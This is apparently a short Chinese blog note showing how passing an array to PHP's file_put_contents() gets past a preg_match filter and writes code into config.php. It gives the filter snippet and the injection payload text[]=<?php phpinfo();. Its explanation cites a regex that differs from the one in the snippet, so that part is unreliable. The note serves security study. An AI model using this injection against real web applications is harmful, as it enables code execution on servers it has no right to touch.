file_put_contents()

2017-11-09  本文已影响0人  Sund4y

file_put_contents() 函数把一个字符串写入文件中。

file_put_contents()在写入文件时的第二个参数可以传入数组,如果是数组的话,将被连接成字符串再进行写入。在正则匹配前,传入的是一个数组。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是Array,Array肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。这样就可以绕过类似检测“

$text=$_GET['text'];

if(preg_match('[<>?]',$text)){

die('error!');

}

file_put_contents('config.php',$text,FILE_APPEND);?>  //FILE_APPEND 为可选参数。意为内容追加写入

构造text[]=<?php phpinfo();

虽然会报错,但是 <?php   phpinfo();仍然会被写入config.php文件中

上一篇下一篇

猜你喜欢

热点阅读